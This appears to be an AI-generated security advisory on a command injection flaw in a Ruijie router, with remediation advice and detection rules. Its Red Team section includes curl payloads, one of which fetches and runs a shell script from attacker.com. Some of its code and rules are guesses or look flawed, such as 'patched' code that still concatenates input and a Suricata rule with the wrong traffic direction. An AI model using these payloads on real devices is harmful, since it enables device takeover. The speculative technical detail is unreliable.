CVE-2025-56095

Executive Summary

CVE-2025-56095 is a critical OS Command Injection vulnerability discovered in the Ruijie RG-EW1200G PRO router series. The flaw resides in the /usr/local/lua/dev_sta/nbr_cwmp.lua file, specifically within the module_set function. An unauthenticated attacker can exploit this by sending a crafted POST request, leading to arbitrary command execution on the device. This vulnerability affects firmware versions V1.00 through V4.00, and as of the latest advisory, no official patch has been released. The lack of authentication requirements and the high potential for full device compromise make this a severe threat, especially for network edge devices.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a hardware device.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, based on the description, the vulnerability is likely to have a high severity score. The attack vector is network-based (AV:N), requires no privileges (PR:N), and no user interaction (UI:N). The impact on confidentiality, integrity, and availability is high (C:H/I:H/A:H), as arbitrary command execution allows an attacker to fully control the device. The likely CVSS v3.1 score would be 9.8 (Critical).

Deep Dive & Mechanics

The vulnerability is an OS Command Injection in the nbr_cwmp.lua Lua script. The module_set function likely takes user-supplied input from a POST request and passes it unsanitized to a system command execution function (e.g., os.execute() or io.popen()). An attacker can inject shell metacharacters (such as ;, |, &&, or backticks) to break out of the intended command and execute arbitrary OS commands.

The attack flow:

1. The attacker sends a POST request to the vulnerable endpoint.
2. The module_set function receives parameters from the request.
3. These parameters are concatenated into a command string without proper sanitization.
4. The command is executed by the operating system with root privileges.
5. The attacker's injected commands are executed, allowing for full device compromise.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical patched version would involve proper input validation and sanitization.

Vulnerable Code (Conceptual):

-- Vulnerable: Direct concatenation of user input
local cmd = "some_command " .. user_input
os.execute(cmd)

Patched Code (Conceptual):

-- Patched: Use of parameterized commands or strict input validation
local allowed_params = {"param1", "param2"}
if not is_valid(user_input, allowed_params) then
    return error("Invalid input")
end
local cmd = "some_command " .. sanitize(user_input)
os.execute(cmd)

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Ruijie RG-EW1200G PRO router with firmware V1.00-V4.00.
2. Connect the router to a network and ensure the web interface is accessible.
3. Use a tool like Burp Suite or curl to craft the exploit.

Exploit Payload (Conceptual):

curl -X POST http://<router_ip>/cgi-bin/luci/;stok=/locale \
  -d "module_set=;id"

Explanation: The module_set parameter is injected with a semicolon followed by the id command. The server executes the original command and then the injected id command, returning the output.

Advanced Payload:

curl -X POST http://<router_ip>/cgi-bin/luci/;stok=/locale \
  -d "module_set=;wget http://attacker.com/shell.sh -O /tmp/shell.sh && sh /tmp/shell.sh"

Blue Team

Detection:

• Monitor for POST requests to the /cgi-bin/luci/ endpoint with unusual parameters.
• Look for shell metacharacters (;, |, &, `) in POST data.
• Alert on outbound connections from the router to unknown IPs on non-standard ports.

Hunting:

• Search logs for module_set parameter containing command injection patterns.
• Check for unexpected processes running on the router (e.g., reverse shells).
• Verify integrity of the /usr/local/lua/dev_sta/nbr_cwmp.lua file.

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /cgi-bin/luci/ with module_set parameter containing shell metacharacters.
  • Outbound connections from the router to external IPs on ports 80, 443, or 4444.
  • Unusual DNS queries from the router.

• Host:

  • Presence of unexpected files in /tmp/ (e.g., shell.sh, shell).
  • Unauthorized processes running as root.
  • Modified or replaced system binaries.
  • Changes to the /usr/local/lua/dev_sta/nbr_cwmp.lua file.

• Logs:

  • System log entries showing execution of unknown commands.
  • Web server logs with module_set parameter containing ;, |, or &.

Detection Engineering

YARA Rule

rule CVE_2025_56095_OS_Command_Injection {
    meta:
        description = "Detects OS command injection attempts targeting Ruijie RG-EW1200G PRO"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56095"
    strings:
        $injection1 = "module_set="
        $injection2 = ";"
        $injection3 = "|"
        $injection4 = "&&"
        $injection5 = "`"
    condition:
        $injection1 and any of ($injection2, $injection3, $injection4, $injection5)
}

Sigma Rule

title: CVE-2025-56095 OS Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests with command injection patterns in module_set parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/luci/'
        cs-uri-query|contains: 'module_set='
        cs-uri-query|contains|any:
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameters (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-56095 OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/luci/";
    http_uri;
    content:"module_set=";
    http_client_body;
    pcre:"/(;|\||&&|`)/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Disconnect the Ruijie RG-EW1200G PRO from the internet if possible.
2. Restrict access: Use firewall rules to limit access to the router's web interface to trusted IPs only.
3. Monitor logs: Enable detailed logging and monitor for exploitation attempts.

Long-term Fix:

• Vendor patch: Await an official firmware update from Ruijie. Contact their support for an ETA.
• Workaround: If patching is not possible, consider replacing the device with a supported alternative.
• Network segmentation: Place the router in a separate VLAN with strict egress filtering.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.